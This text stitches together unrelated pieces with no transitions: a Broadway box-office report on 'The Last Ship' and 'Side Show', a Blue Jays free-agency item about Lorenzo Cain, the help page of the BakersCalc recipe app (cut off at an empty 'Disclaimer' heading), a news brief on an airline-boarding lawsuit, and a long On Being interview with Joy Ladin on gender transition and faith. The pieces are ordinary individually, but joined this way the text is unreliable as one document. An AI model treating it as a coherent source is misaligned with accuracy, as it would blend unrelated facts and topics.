According to box-office data released Monday, “The Last Ship” grossed $817,897 for eight performances compared to $491,910 a week earlier. The show’s weekly running costs are about $625,000, so the show had been losing money until Sting’s arrival. Yet he didn’t sell out the week: About 77 percent of the seats were full at the Neil Simon Theater, compared to 59 percent a week earlier. Sting is scheduled to continue in the musical through Jan. 24, playing the foreman of a British shipyard buffeted by financial straits and personal struggles. Over the next month “The Last Ship” needs to sell large numbers of advance tickets for post-Sting performances to prove it can survive without him; otherwise the show will face a quick closing date.
Among other Broadway productions, the acclaimed revival of the musical “Side Show” grossed a modest $467,909, which helped explain why the producers announced Friday that it would close Jan. 4. The musical has had limited appeal since performances began in late October and showed scant signs of improving, which led its landlord, Jujamcyn Theaters, to push producers to close the show and make way for a new one for spring. “Side Show” cost at least $540,000 to run each week, an amount that its weekly grosses never covered. Investors will lose their entire $7.8 million capitalization.
Cain, 31, is garnering plenty of interest around the league as one of this year’s top free agency targets. The centre-fielder could bring speed and valuable offence to whichever team he lands with and, in the case of the Blue Jays, he could also bring roster questions—especially when it comes to outfielder Kevin Pillar.
“The fact that the Jays are reportedly on Cain is interesting,” MLB Network’s Jon Morosi said during an appearance on Sportsnet’s Starting Lineup Wednesday morning. “It was last year that they pursued Dexter Fowler, now they pursue Cain, which to me indicates that Kevin Pillar’s place in centre field for this team is far from assured, that there are a lot of different options being considered.”
Cain spent the past seven seasons in Kansas City, winning the World Series there in 2015 while finishing third in MVP voting. The qualifying offer he received from the Royals earlier this month means acquiring Cain would cost the Blue Jays a second-round draft pick in 2018 plus $500,000 of their international signing bonus spending limit.
Pillar, meanwhile, has been with the Blue Jays since 2013 and has been a Gold Glove finalist for three straight years thanks to his outfield heroics and “superman”-style catches in centre field, though he lacks the offensive versatility that Cain possesses. He hit .256/.300/.404 with 16 home runs and 37 doubles in 2017 and is eligible for arbitration this off-season.
“Cain, from talking to sources here, he wants to play centre field and executives believe that he still can,” Morosi said. “So for the Jays to have the winning bid on Cain, they’re going to have to have him play centre field and clearly that would mean either a change in role or a change in uniform for Kevin Pillar.”
BakersCalc is a simple yet powerful tool for creating, modifying, and sharing baking formulas. It scales your recipes based on baker"s percentage and allows you to quickly change a recipe. If you"d like to learn more about baker"s percentage, King Arthur Flour has a great article that covers it in depth.
How To
Creating a recipe is easy - just tap the green + button on the bottom of your screen to start adding ingredients. Each ingredient can be given a name, type, individual hydration, and of course it's percent. The top bar contains all your settings including number of dough balls, ball weight, bowl residue compensation, and more.As you continue to add/remove ingredients the formula will adjust itself accordingly. To remove ingredients click the appropriate red X button on the right of the corresponding item - mobile users slide left.
We've also introduced "precanned" items to add to your recipe to make formulas a little more accurate. By long pressing the add button you'll be able to select from commonly used ingredients like milk, eggs, and honey. There will be more ingredients coming in the near future.
If you're still not sure where to start feel free to play around with this sourdough formula.
Exporting BBCode/HTML Table
Once you're done creating your recipe you can create a sharable url by clicking the button in the settings toolbar. To copy either BBCode or a HTML table of your formula just click the button and pick which you'd like copied to your clipboard.
Using Starters
BakersCalc was designed to allow for starters at various hydration. If your recipe calls for starter then it's important to account for the percent of flour in the amount of starter used, and subtract it from the total flour percent. For example if a recipe calls for 20% starter @ 100% hydration, then 10% of the total flour is in the starter. The flour in the recipe must add up to 90% so the remaining 10% will add up to give you 100%.
Contact
Questions? Comments? Found a bug? You can reach me at info@bakerscalc.com.
Disclaimer
The husband of an obese Bronx woman who died in Hungary after three airlines refused to let her board a plane to return to the U.S. has settled a $6 million lawsuit with the companies, according to NBC News.
Vilma Soltesz, 56, traveled with her husband, Janos Soltesz, to her native Hungary in October of 2012 to see family. Vilma Soltesz, who weighed more than 400 lbs. and was diabetic and in a wheelchair, became more sick while overseas and her doctor told her to return to New York immediately.
But at the airport, the skylift -- a machine airlines use to transport people onto the plane -- was broken. KLM Airline said she couldn't board. Two other airlines, Delta and Lufthansa, told her the same thing.
"He just look at her and said, 'No, I'm not taking her,'" said Janos Soltesz after the ordeal. "I was crushed."
The couple searched for other ways to get home to her doctor but Vilma Soltesz died in Hungary.
"She just went to sleep. She never woke up," he said. "She was my life."
Krista Tippett, host: For as far back as she can remember, Joy Ladin says her body didn’t match her soul. Her story sheds unusual light on how gender shapes the lifelong work of being at home in ourselves.
Six years ago, in her mid-40s, Joy Ladin transitioned from male to female identity. She became the first openly transgender professor at an Orthodox Jewish institution. Joy Ladin unsparingly admits the pain this caused for people and institutions she loved. And it was an incremental, imperfect process. Hormones transformed her appearance, though not her mid-life vocal cords. Still, she knows what it is to move through the world with the assumed authority of a man, and the assumed vulnerability of a woman. We take in what she’s learned about gender and the very syntax of being.
Ms. Joy Ladin: In a very literal sense, my deepest self was something that could only be manifested superficially, in the most superficial way, literally putting on makeup. I needed to see myself, first of all, just to be visible at all. I had no idea what I looked like. So the external was my gateway into a whole bunch of self-defining things that normally we’d think of as proceeding from the inside and working their way out.
Ms. Tippett: I’m Krista Tippett, and this is On Being.
[music: “Seven League Boots” by Zoe Keating]
Ms. Tippett: I spoke with Joy Ladin in 2013. She is Gottesman Professor of English at Stern College for Women of Yeshiva University. She was born Jay Ladin in upstate New York. Jay married his college love, fathered three beloved children, and became a tenured professor. In 2007, after announcing his gender transition, he was placed on a leave of absence from Stern. But Jay was allowed to return 15 months later as Joy.
Ms. Tippett: From what I’ve been reading about you, I think you’ve described your family as Jewish but not religious. But you, yourself, it sounds like, from a young age, were very drawn to the rituals and to Jewish tradition.
Ms. Ladin: I had a very strange relation to Judaism. One of my friends, Rabbi Jill Hammer, I was talking with her about it, and she said, “Oh, you were a feral Jew.” [laughs]
Ms. Tippett: [laughs] I’ve never heard that term before.
Ms. Ladin: I was kind of like — in terms of — because I was religious and no one in my world was religious, it was almost like I was a Jew raised by wolves in that regard. I hope my mother isn’t going to listen to this. She wasn’t a wolf in any respect. But what really drew me to Judaism was that, like many trans kids, I had an intense sense of God as a real, living, constant presence. And Judaism — not Jewishness as in ethnicity, but Judaism in general and the Torah in particular was really the only place in my world that there was any talk about God, representation of God, sense of God.
Ms. Tippett: How would you — this is obviously an enormous — now we’re stepping onto this huge territory, but how would you begin to talk about your sense of gender, of your gender and the gender of others, in your earliest life?
Ms. Ladin: Actually, that connects to the Torah. Traditional Judaism is extremely gender divided. However, the Torah includes one really genderless character, and that’s God. Because despite the male pronouns, God doesn’t have a body. And when I was a kid, that was a very powerful, not really articulated sense of connection that I had because I had male pronouns, but I didn’t feel like I had a body.
Ms. Tippett: You’ve written in this way about that you had a body that felt like a cross between a mask and a tomb. I mean, I think that’s how it came to feel as you became older and could articulate something like that, but it’s a very stunning and disturbing image of your relationship with your own body.
Ms. Ladin: Yeah, my body and I weren’t best friends. When my children were small, they would often ask me for stories from my childhood, and I knew enough about parenting to know you don’t talk about self-harming and suicide attempts. They want happy stories. I almost don’t remember — I have very few memories, and they’re very scattered from my childhood because I didn’t experience things very physically, so memories weren’t anchored in physical experience.
But I had this one story that I told them over and over again until they realized that it was so boring they should stop asking the question, about being like 8 years old and making my own Pop-Tart, putting it in the toaster and wrapping it up in a paper towel and taking it outside on a cold November day into a clearing in the little woods behind the house and eating it. And that was like one of the very few stories that I had to tell the kids because it’s one of the few times that I was connected enough to my body to have really pleasurable memories from it.
Ms. Tippett: You said something about gender and your wife, who is this woman you were living with, sharing your life with, for a long time. I thought it was an interesting observation that her gender did not define her, but it enabled her to define herself. Gender is something that is often so unreflected at its core. I mean, there are many aspects of it that we pay a lot of attention to. But then it seems like because this was denied you, this given — it did then become this absolutely huge obstacle in and of itself.
Ms. Ladin: It did, and I sort of did a lifelong involuntary course in gender studies. It was sort of the opposite of the Marshall McLuhan saying, “Whoever discovered water, you can bet it wasn’t a fish.” And to me, gender was like a fish trying to breathe air. It was the binary gender system that was really all that was available in the mid-20th century world that I was living in. I couldn’t thrive or survive in it, and so I had no choice but to be excruciatingly aware of it.
Ms. Tippett: I think one thing I appreciate in your writing and reflection is that you understand how natural it is, I mean, how we’re wired to want order. It’s natural for our minds to put these kinds of binaries as the cornerstone of worldviews to cling to and defend what we know over against what feels chaotic and frightening and new.
Ms. Ladin: Yes. And I know that, I guess, because I’m deeply uncool in some sort of way. [laughs]
Ms. Tippett: [laughs] Explain.
Ms. Ladin: Being a mid-20th century gender binary-bound transsexual is pretty old hat. Being gender-fluid or gender-queer are much more interesting to people. But the truth is that I want stuff that most people want. I want to be a parent to my children. I want to have a job that I feel both remunerates me and enables me to live. But also I feel like I’m contributing meaningful work to my world.
And I know, because I lived in this sort of wilderness outside a coherent world looking in, I know the human longing to live in that coherent world, and I know how terrifying it is when I confront things that challenge my ability to put the world together.
Ms. Tippett: I would love to dig around a little bit in what you’ve learned about gender in, as you said, your lifelong experiment with gender, whether you would have chosen that or not. I found it, as a woman, as somebody who’s born female and always fit into the traditional binary category, it’s really interesting to read about your journey into becoming a woman. A lot of things that were so new to you that are so basic and how — the delight that you took in them.
I wonder, like, what did you — this is always fraught territory, the transgender piece of this aside, talking about gender identity and what it is to be a man and what it is to be a woman. But we’re all aware that gender means so much, so I want to wade into this dangerous territory. I mean, what did you start learning about being a woman that surprised you?
Ms. Ladin: That’s a really great question. I want to back up to it because when I — most of my life, even though I didn’t fit in the “you’re either a man or woman” system, that was still the only system that I had access to. So when I thought about gender transition, I did articulate that to myself as becoming a woman, but through a lot of kind of agonizing reflection and experience and really crucially through discussions with my now ex-wife.
While we were still married, she pointed out things that are very true, which is that you can’t have a male body and live for 40-plus years as a man and be socialized male and ever become a woman in the sense that somebody who’s born and socialized and lives as a woman, as a female, is. And that’s just — that may sadden me. Whatever, it doesn’t matter how I feel about it; it really is true. And when I started publishing about this, some of the comments — I know we’re never supposed to read comments online — but some of the really hurtful comments also really taught me a lot. They taught me women across the political spectrum, from deeply conservative to kind of radical feminists, were saying the same thing.
What they were saying in their comments was, “Listen, to me, woman means the whole package. It’s not just biology; it’s socialization. It’s everything together, and I’ve suffered for that identity. It’s taken on meaning for me through a lifetime in a world that really is inimical to women, and yet I’ve made that an identity that I’m proud of. And you can’t waltz in at 45 years old and take that word and that identity away from me.”
And I’m not speaking for anybody other than myself, but I felt that they were right and that I can’t cut myself open and show that I have some sort of ineffable woman essence that’s the same as other people’s. I don’t even believe in such a thing. But what I can say that’s factually true is, I lived most of my life as a man or a male. I felt that I wasn’t. And now I live as a woman that I know that I am. And that doesn’t mean I am a woman, but I do live as a woman. I’ve been cheated by an auto mechanic as a woman. [laughs] I’ve been, you know, “sweetied” by people who are younger than I am. So I get all that wonderful stuff.
Ms. Tippett: When you write about your transition and having to learn to walk and speak as a woman and some of this was helped along by hormones, but it was also learning a way of being in the world, a way of moving through the world. You did learn things about authority that is given when you speak as a man and how that’s different when you speak as a woman, or from a sense of safety that’s there when you walk down the street as a man. I remember you had a friend who said — do you remember — “Joy, now you walk as a woman.” And that’s very striking, that experience you’ve had.
Ms. Ladin: It’s different to become yourself in any respect in middle age as opposed to when you’re a child, partly because you tend to be the only one around who’s going through those developmental stages, but also because you do it with adult consciousness for better and for worse. So I could see myself trying to learn to walk in a different way and silly stages that I actually couldn’t have avoided.
Like I read online if you — anybody can go online and find out — get trans guides to how to — what men and women do if you want to be — that’s a social part of gender. Among other things, gender is a way that we recognize one another and interpret one another. So those guides say, “Look, if you want to be interpreted as a woman, here are some things you want to do.” And one of them was women speak with their hands much more than men do.
Obviously, all of this is culture specific. So I thought, “OK, speak with my hands. What do you do? Can we be more specific?” So at a certain point, I would be talking at great length, as I am now, and I’d think, “Wait, I haven’t moved my hands.” And I would just sort of flutter them, and then I’d forget about them again. [laughs] So, yeah, I mean, it was ridiculous. And I would say that one of the luxuries of my relation — there are a lot of downsides to spending your life feeling you should be something you’re not allowed to be.
But one of the great things about coming to living as a woman as late as I did is that, for me, femininity is not associated with oppression or self-negation or anything. So when men condescend to me, I smell blood in the water, and I just go for it. There’s nothing in me that says, “Yes. Yes, make sure he feels good about himself.”
Ms. Tippett: Or just has lived with those kinds of messages for such a long time that you start to block them out, right? That you just decide not to react?
Ms. Ladin: Yes, that’s right. For me, femininity is actually about liberation and empowerment. It’s the bravest thing that I do. And I actually think that’s the birthright of every woman, but I know that even my own daughters, because of the world they’re growing up in, they’ll have to fight to claim that for themselves.
[music: “A Walk” by Tycho]
Ms. Tippett: I’m Krista Tippett with On Being. Today, exploring the meaning of gender. Joy Ladin is the first openly transgender employee of an Orthodox Jewish institution. She’s the author of several books of poetry and a memoir, Through the Door of Life.
[music: “A Walk” by Tycho]
Ms. Tippett: What happens with language? I know you’ve written a bit about this — how you had to — the transition from male to female and living with the language and certain words and constructions in the whole different way. Talk about that.
Ms. Ladin: For me, I often forget this when I talk about the conversations I have about gender identity tend to be separate from my conversations as a poet, and I’m really grateful to you for putting those pieces of me together. But most of my life was about saying I’m not whatever I was doing, and writing was the exception.
When I was writing, particularly when I was writing poetry, that’s when I felt I actually was alive. And I felt that I was alive in a way that had nothing to do with my body. And there was something in rhyme, which was not something that an American poet growing up in poetry workshops in the ‘70s and ‘80s was supposed to be enamored of particularly. But for me, rhyme was almost like a magic ritual of revealing identity in unlikeness.
I may be making this up retrospectively, but it seems to me that rhyme was — the way I felt that there was a fundamental female identity within me that rhymed with that of other born girls and women, that when I created a rhyme between dissimilar words, I was revealing something like that hidden essence. I was making it ring true. That’s what rhyme usually feels to me, like the ringing of truth.
Ms. Tippett: I remember reading that there were words that you didn’t allow yourself to use when you were living that dance of being a man and not feeling like yourself and then words that you did consciously use. Was that just a feeling you had about which words were male and which words were female?
Ms. Ladin: Well, it clearly was, and I didn’t know how strange and twisted I really was until I started to transition and needed to be a person that I felt like I was and a writer who really existed. So I couldn’t afford to just lose large chunks of the English language, and that’s when I realized I had. Because I had this tremendous fear that I would be discovered, that people would see me and it still seizes me. I still feel like people will look at me and think, “Oh, you’re not a person. You’re a cardboard cutout like an ad for a movie.” [laughs] You know, “We can see you and we can walk around you and there’s nothing back there.”
But that’s what I felt that people would discover about my male identity, and I now realize that that fear was actually a deep wish. I really wished somebody would actually see me because I’d never been seen. Nobody had ever, including — I’d never even seen myself. So I had this fear and this wish that’s translated into a fear. And because the fear wasn’t real, you have to do quite a bit to make people think you’re not actually the sex of your body.
But to me, it seemed I was always on the verge of discovery. So I created this really obsessive-compulsive system of self-monitoring and I would just keep adding things to it. And this is actually sort of analogous to what rabbinic law does with laws of the Torah. It keeps adding extra provisions to make sure nobody violates the fundamental rules.
So I made myself look away from dolls when I was a child, and I shouldn’t move my body in a way that a girl moves her body. But I shouldn’t actually look at girls, because that would betray my interest. But how do I know how not to move my body? And I could see them, my mother and my father, use language differently and used different language.
Ms. Tippett: So you think that maybe without knowing, you were studying how men did things and how it contrasted with how women did things?
Ms. Ladin: Well, every child does that.
Ms. Tippett: Yeah, you’re right, yeah.
Ms. Ladin: Some things were like I think it’s a common association, because we associate pink with girls in our culture. So it’s not surprising that I would avoid the color pink, but I avoided color. To me, color was something that my mother was concerned about, but not my father. And therefore, it was gendered feminine. And it wasn’t only avoiding color; I didn’t actually pay very much attention to what I was wearing. I paid no attention.
To me, it felt like my body was sort of a billboard that people rented out to project your idea of me here. But, so what I avoided was the vocabulary of color. Women talked about their feelings, so I avoided the vocabulary of feeling. It’s really, really hard to be much of a poet if you — to me, being female meant really being alive, so I avoided language that, to me, connoted really being alive.
Ms. Tippett: I know somewhere, I think — the word “marvelous.” There were things like that, like a word like “marvelous” you wouldn’t use as a man. Do you use the word “marvelous” much these days?
Ms. Ladin: I’m afraid I don’t. [laughs] Should I? Would I be more real?
Ms. Tippett: [laughs] I have to say that one of the things to read, when I was reading about your transition, that was kind of painful as a woman and so familiar was how important it becomes how you look. Now, look, I have a 14-year-old son, and it’s really important for him how he looks, so I’m seeing that from another side now too. But it’s different, right? And how some of these most wonderful moments that you really needed and that I got them is when somebody told you you looked beautiful.
I think your mother told you, you looked beautiful, maybe your dean. And just recognizing and, again, it makes me a little sad how we need that. But for you, those were just radiant moments of acknowledgement. And for me, it was like, oh, this difficult dailiness of being female — it was very interesting.
Ms. Ladin: I think that that’s one of the terrible things that we do to girls and women in this culture is that we stare at them. It’s also terrible to not be seen. The artifact of femininity, of attractiveness, of what we judge when we judge girls and women beautiful, often, I think, don’t feel to girls and women like they’re being seen as who they are. I was just starved, though, to be visible to anybody.
I felt that if I ever saw the light of day, if who I really was ever — literally, if the sun ever shone on me, the real me, that it would be unspeakably ugly. And I didn’t think that it would be like Medusa; I didn’t think people would turn to stone, but I thought that they would run away or that they would chase me away because they couldn’t bear to look at me, that I would be monstrous. So there was kind of a deeper question that I had that those moments responded to. “Wow, you’re seeing me, the real me.”
And in early transition, it feels like you have no skin at all. There’s nothing between you and the world. There is no sense of identity. I don’t care what people think. There is none of that. You are who you are seen as being, which is pretty hard to live through. But at those moments, I thought, “Oh, my God, you’re saying me, I’m not monstrous.” I never really believed the beautiful stuff, but to me, what they were saying is, “You know what? You’re not a monster.”
My son got it about right when — it was a long time after I was living as myself before my children saw me as myself. I would dress as a guy and act like a guy to whatever extent. And when I started to acclimate them, my therapist suggested that I show them pictures of me — snapshots. So I did, and my son’s reaction was, “Huh, not as bad as I thought.” And that was the way I understood beautiful. “Huh, not as bad as I thought. I don’t have to run away screaming.”
[music: “In A Station Of The Metro” by Wes Swing]
Ms. Tippett: You can listen again and share this conversation with Joy Ladin through our website, onbeing.org.
I’m Krista Tippett. On Being continues in a moment.
[music: “In A Station Of The Metro” by Wes Swing]
Ms. Tippett: I’m Krista Tippett, and this is On Being. Today, an exploration of the meaning of gender. Joy Ladin’s life is a revelatory lens on the subject. She is a professor of English at Stern College for Women of Yeshiva University. That is, she is the first openly transgender employee of an Orthodox Jewish Institution. Born male, Joy Ladin transitioned to living as a woman in her mid-40s.
Ms. Tippett: I want to talk about the morality question, the morality of being transgender and of this transition you made which — I don’t know — when the subject comes up culturally or politically or religiously, it’s a big issue. But it’s really pretty simply framed, right? Is this a sin? Is it an abomination? Is it contrary to Scripture or tradition?
The morality of what you lived through and of your identity and the shift in your identity is something you’ve given a huge amount of thought to, and it’s very complicated. There are layers and layers of ways to think about morality. I’d like to get into that. I mean, you — well, let me just ask you that. If you think of the morality of what you’ve been through, where do you begin to talk about that thicket?
Ms. Ladin: I’d like to add another term to the list. The secular world also provides moralizing terms for transgender people. The one that is most frequently heard is “selfish.” You’re selfish. Your gender — unlike everybody else’s gender, your gender is hurting people. You don’t have to, you know, everybody else, I’m guessing, some people do.
There are gender fluid people who wake up in the morning and say, hmm, what gender identity shall I present this morning? But for most of us, we get up and we decide about gender expression. How will I express being a man or how will I express being a woman? But we don’t think, hmm, should I be a man or a woman? It’s far too central to our identities for that thought even to occur to us.
And it’s really the same for me. I don’t have any other gender to be. But because I lived so long as a man, and because everybody was perfectly happy with that guy, it looks to people like a choice. And it’s clearly a choice that was terrible for my family. It was terrible for my wife. It broke up my marriage, broke up my children’s home. It created at the very least confusion and social complications that continue to this day.
It really wasn’t good for anybody particularly, except for me. So if I chose to do something that was bad for everybody but me, that’s an act of radical, even like sociopathic selfishness. But to me, as I say, there was no one else that I could be. It wasn’t a selfish choice. There was the choice between living and dying. And I did — I’d romanticize suicide. I thought that clearly was the selfless choice because it’s the choice to kill myself for the sake of others.
But therapists kept arguing that children with parents who’ve committed suicide are messed up in ways that go far beyond what happens to children when their parent transitions from one gender to another, but is still there. As one therapist put it, you have to stay alive so your children can reject you. [laughs] “Wow, this is the way you’re talking me out of killing myself? This is tough love.” [laughs]
Ms. Tippett: [laughs] Right. But it’s a tough — I mean, it’s this moral position you found yourself in as you experienced it was tough all around, right? I mean, you’re describing that. You said somewhere when you were a good man, you were a bad person. You felt you were a liar and a coward.
Ms. Ladin: I was.
Ms. Tippett: But there was this cost that you were profoundly aware of and continued to live with on the other side of that.
Ms. Ladin: I recently, this Jewish journal, Sh’ma, was doing an issue on covenant that came out recently, and they asked me to write about being a breaker of covenants, which I decided not to take as an insult. [laughs] “Hmm, we need somebody who’s really messed up here.” But what I ended up learning from that was that the covenant that I’d broken was the covenant of gender, and it’s a covenant in a way that I continue to break.
So my gender as a man was a promise to people that the way that I was acting was who I really was. That gender was real. It was my real gender identity and it was consonant with my body. And that was a covenant that I couldn’t keep because I never felt that I was the man that I was presenting myself as, so I was sort of built-in breaking that covenant.
Now that I’ve transitioned, people feel that I’m breaking the covenant of gender in another way, and I think that this is true. So if I present myself convincingly as female, which is something I fear that I’m not able to do on the radio — your voice actually is the voice that I aspire to, but hormones don’t change male to female transsexual voices, so I couldn’t get there.
But when people take me as authentically female, then that covenant is not being fulfilled because I have an X and a Y chromosome. My body’s still in some ways the body that goes along with that. And my life — I had a life as a man. So I think that that’s a lot of why there’s a moral freight built into gender transition is because people feel like it’s a promise about who you are.
And some of my students at Stern College wrote to me, and they said that they were angry at me, not because they saw me as an abomination, although I think some students there probably do, but because they felt that I was presenting myself as a man that I knew that I wasn’t. I was lying to them and, like me, they saw our teacher-student interactions as kind of sacred. They’re about truth, so how could I have done that with them if I knew that I wasn’t being true to them?
[music: “Powder Pills Truth” by Max Richter]
Ms. Tippett: It’s such an interesting interaction with students. I mean, there’s ascension, which you have your story and you also become kind of a symbol because you are the first trans — what’s the trans woman or the first…
Ms. Ladin: I’m the first openly transgender employee of an Orthodox Jewish institution. But actually I think I’m probably the first openly transgender person living at all in the Orthodox Jewish world. That might not be true. There might be some people scattered around the world or in history, but as far as I know…
Ms. Tippett: I sense in your writing that obviously there are a range of reactions and some of them have been incredibly painful and challenging and others full of compassion and kindness. And I sense that, through all of that, you value the communal kind of power of that tradition as a virtue even in kind of difficult waters like these.
Ms. Ladin: Yes. It was something that I really — that I was taught by my students. So when I was hired to teach at Stern, I had never known Orthodox people, and I’d always felt uncomfortable with them because of this strange thing about Jewish identity. So Orthodox people would be more real Jews than I was, so I would be angry about that and feel ashamed. But also, I was contemptuous of them because look at all the silly things they do, which I as a non-Orthodox Jew don’t do.
So there’s this weird mix of truly feelings that really don’t reflect well on me, but I think are common. So I came in with that prejudice and I was going to be this role model from the modern world and a kind of a Jew where I’m really religious, but I’m not Orthodox. And what I ended up finding in my students were truly extraordinary women and human beings.
Orthodox Jewish culture has a lot of misogyny built into it, and I am not trying to romanticize that away and my students do suffer from it. But they also, this is what I hadn’t — I’d known that stuff, but what I didn’t realize was that, in Orthodox Judaism, everything that you do matters. It matters to God. It matters in the absolute sense. So whether or not you light Shabbat candles at the right time, that really matters.
My students knew that their lives mattered in a way that the students I had taught in more secular institutions were really wondering does my life have significance? Does it have meaning? So my students, though they’d grown up in this misogynist system, often had a wholeness and a vitality and a seriousness about the trajectory of their lives that astonished me.
And I thought a culture that produces young women like this obviously has a lot of great things going for it, but it’s still a human culture. And then I started thinking about it. Yeah, actually I don’t know of any human cultures that aren’t messed up, so they’re human. [laughs]
Ms. Tippett: [laughs] Yes, absolutely. So something — you were talking about your therapist said to you when you were going through your divorce, which was very painful — well, you were going through the transition, I think. What other people think of you is none of your business. That’s such a perfectly right, logical statement, but that’s impossible for any of us to take in starting in kindergarten.
Ms. Ladin: [laughs] That’s right. People who really live by that are often not people you want to hang out with.
Ms. Tippett: [laughs] That’s right.
Ms. Ladin: You know what? I’d like to come back to that because what you said about my therapist’s quote, I’m realizing that there is something very traditionally Jewish about that, which is Judaism mostly doesn’t regulate thoughts and feelings.
The glaring exception is the “thou shalt not covet,” which is a psychological prohibition. But almost all of the Torah is governing action, like that part about Moses that doesn’t say you shall not want to wear the clothing of the opposite sex or thou shalt not be transgender. It says don’t do these things.
So Judaism is a religion that creates a lot of regulation in the public space of action — externalized action and a lot of freedom in internal space. Not every religion works that way. And what my therapist was saying to me is, if you want to survive as a trans person, you need to give other people that internal freedom.
You need to say, if they’re treating me with basic respect, even if they’re just avoiding me, then I need to not worry about what they think about me, because, number one, I’ll go crazy and I will internalize all of these sort of fantasies of rejection, so psychologically will be unhealthy. But also, there’s something kind of fundamentally violating of other people’s psychological integrity. If I say you’re not allowed to have your feelings because your feelings do violence to me.
That’s in essence what I was told my whole life. I shouldn’t feel like I was female because those feelings I felt were doing violence to the people that I loved. They were wrong. So I need to accord to other people the space to have their own authentic feelings, no matter how much I might be unhappy with them, as long as they’re actions are in accord with basic human respect. And it is easier to say than to do.
[music: “Herons” by Balmorhea]
Ms. Tippett: I’m Krista Tippett with On Being. Today, exploring the deepest meaning of gender. My guest, Joy Ladin, is the first openly transgender employee of an Orthodox Jewish institution.
[music: “Herons” by Balmorhea]
Ms. Tippett: Do you feel as you progress through this journey — how long has it been since your transition to a woman? How long have you been a woman? I mean, is that a real question? How long have you been a woman? That’s not the way you would ask the question, is it? What would you say? How long have you lived as a woman? Lived openly as a woman?
Ms. Ladin: No, it isn’t. I feel like you as a woman can accord me that, but I can’t claim it for myself is where I am at the moment. I’ve been living as a woman for, wow, later this month, it will be exactly six years. So I’m six years old.
Ms. Tippett: Yeah, right. [laughs] Do you feel — you know, really, that’s not a long time. So I don’t know if this question is fair, but I wonder if — obviously, gender became the focal point of your life when it was disordered. Does gender move into a different perspective as you experience yourself to be more whole and healthy and who you are in the world?
Ms. Ladin: It’s a really, really great question, and I think people who transition later in life — I don’t know how it is for kids who are transitioning now, but I think we actually have an accelerated developmental time frame. So those six chronological years, psychologically have been more. I don’t have a lifetime living as a woman, but I have enough time where my relationship to gender, as your question gets to, really has shifted.
So when I started to transition, I was somebody who had never seen somebody who looked like me in the mirror. I remember the night when I first looked in a mirror and saw someone who looked like me. And it was, well, I don’t think I can describe the experience because I’ll start crying, but it was really something. And then I had to change back, so I disappeared. And for a long time, that was my experience.
So what happened, in a very literal sense, my deepest self was something that could only be manifested superficially, in the most superficial way, literally putting on makeup and taking it off because I had to be able to remove any trace of female identity in order to continue my life. But I think that that tremendously superficial mode of identity reflects something pretty profound about the development of a transgender person’s self after transition, which is that it grows from the outside in.
I needed to see myself first of all just to be visible at all. I had no idea what I looked like. I couldn’t even make choices about, well, what colors look good on me or not? What do I like? What don’t I like? Because I’d never seen myself. So the external was my gateway into a whole bunch of self-defining preferences, decisions, choices, experiments. I’m going to wear that because I love that.
The love is what’s the real self and the expression of it is more superficial. But for me, I needed to create a functional, visible — not even functional. I needed a visible female self first and then that self had to go out in the world and start developing history and relationships with people.
Ms. Tippett: Yeah, to be able to discover that love — that what you loved.
Ms. Ladin: Exactly. Who was I? Was I ethical? Was I brave? Was I a coward? Was I shy? Was I loud? All of these things I’d not discovered and had great misgivings about. So that’s why a lot of transsexuals in early transition, our selves are kind of like vortices that are consuming the gazes of people around us. Who do I look like to you now?
I would call up friends. I’d feel constantly like I was disappearing because I had to keep living as a man. I’d call up my friends who lived far away, and I would say, “Do I sound like myself? I feel like I don’t remember what I sound like. Is this me? Do I seem real to you? Do I exist?” I can’t believe the saintly patience of handling those phone calls. What they should have said is, “I’m changing my number.” [laughs]
Ms. Tippett: [laughs] So, Joy, if I ask you this large question, what it means to be human, like how your particular life experience, which you continue to discover these things that some of us take for granted, how does your sense of what it means to be human change? What have you learned to put to that question?
Ms. Ladin: That’s a really wonderful question. I have a sense of humanity as a very young species. I think we’re really a work in progress. I would say developmentally as species go, we’re probably in late adolescence, kind of obsessed with the miracle of us. I grew up having as dim a view of humanity as you can, because, when you live in hiding, when you live convinced that you’re surrounded by hatred and rejection, that’s a pretty lousy species.
And what I discovered as I transitioned was that there were so many people who were able to see my humanness even without the normal — gender is something that enables us to recognize one another as human. I was astonished that people could see me as a human being even when I really didn’t have gender that would enable them to do that and that they would respond with love, with compassion, with honest questioning, with what I saw as great courage. And I thought, you know what? This is a great, great species.
And I think that one of the blessings and burdens of being trans is that I think all human beings actually are ratios of being and becoming, and that for most of us after childhood, we think of ourselves as mostly being with some becoming. And when becoming takes over, becomes a greater proportion, we think of that as a crisis. It’s a midlife crisis with some kind of religious conversion. Then we’ll settle down again, and we’ll have lives that coalesce.
But I think, for trans people, I think that, for me, and I think for many of us, becoming is always going to be a greater proportion than being. I’ll never have enough experience of life as myself, to have that settled, fixed sense.
I do have some things that are much more settled than they were, but I think I’m always going to have this sense of being as something that constantly involves becoming. And I think that that’s really the glory of the human race. I don’t think anybody should write us off. We’re not done yet.
Ms. Tippett: So tell me. When we started, you talked about that conversation with God, which was so important with you even though you were so disconnected with so many really concrete aspects of your life. How is your sense, not just your sense of what it means to be human, but your sense of who God is? How has that evolved through all these experiences?
Ms. Ladin: For most of my life, my male life, my version of Descartes’ dictum would have been “I kvetch, therefore I am.” I was a walking complaint about existence. And because it all felt wrong to me and I felt that it wasn’t my fault and that was actually not true. I still was a responsible human being, but I felt like, basically I can’t be who I am, so I’m really suffering existence rather than being given a gift and an opportunity and a challenge and a responsibility and all those actually mature attitudes.
In Judaism, I would say the two most important things about being a Jew are living in gratitude and living in joy, and I wasn’t able to do either. And I would say to God, you know, that’s your fault. Now that I live as myself and I’ve been given this incredible miracle, now unfortunately I don’t have that out. [laughs]
So when I’m talking to God, I am obligated to be grateful and joyful and really I should, even while flossing, I should be grateful and joyful, but I’m often not. But now I see that that does reflect ways that I need to grow as a person and not some existential raw deal that I was given, and that’s pretty extraordinary. I feel that only recently have I begun to be able to really serve God. Voluntarily to feel like, “You know what? You’ve given me so much. What can I do for you?”
[music: “Nevergreen” by Emancipator]
Ms. Tippett: Joy Ladin is Gottesman Professor of English at the Stern College for Women of Yeshiva University in New York. Her memoir is called Through the Door of Life: A Jewish Journey Between Genders. She’s also the author of seven collections of poetry and is currently the recipient of an NEA fellowship to write I Am What I Will Be: Reading God and the Torah from a Transgender Perspective.
[music: “Nevergreen” by Emancipator]
Staff: On Being is Trent Gilliss, Chris Heagle, Lily Percy, Mariah Helgeson, Maia Tarrell, Marie Sambilay, Bethanie Mann, Selena Carlson, and Rigsar Wangchuck.
[music: “Great Russell” by Shawn Lee’s Ping Pong Orchestra]
